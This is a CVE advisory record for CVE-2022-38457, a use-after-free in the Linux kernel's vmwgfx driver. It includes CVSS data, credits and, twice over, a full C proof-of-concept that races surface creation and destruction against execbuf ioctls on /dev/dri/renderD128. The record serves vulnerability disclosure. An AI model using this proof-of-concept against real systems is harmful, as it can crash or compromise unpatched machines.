CVE-2022-38457
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 02:11
Severity ?
6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
security@openanolis.orghttps://bugzilla.openanolis.cn/show_bug.cgi?id=2074Issue Tracking, Permissions Required
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.openanolis.cn/show_bug.cgi?id=2074Issue Tracking, Permissions Required
Impacted products
Vendor Product Version
Show details on NVD website

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          "dateUpdated": "2024-08-03T10:54:03.666Z",
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              "x_transferred"
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            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"
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        "title": "CVE Program Container"
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    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.20-rc1",
              "versionType": "custom"
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      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00",
      "descriptions": [
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          "lang": "en",
          "value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){   \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"create_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, \u0026arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nhandle=alloc_bo();\n        if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n}"
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          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
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        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
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            "x_refsource_MISC"
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          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"
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      "title": "There is an UAF vulnerability in vmwgfx driver",
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              "value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_cmd_res_check\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
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            "lang": "en",
            "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){   \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"create_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, \u0026arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nhandle=alloc_bo();\n        if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n}"
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  }
}


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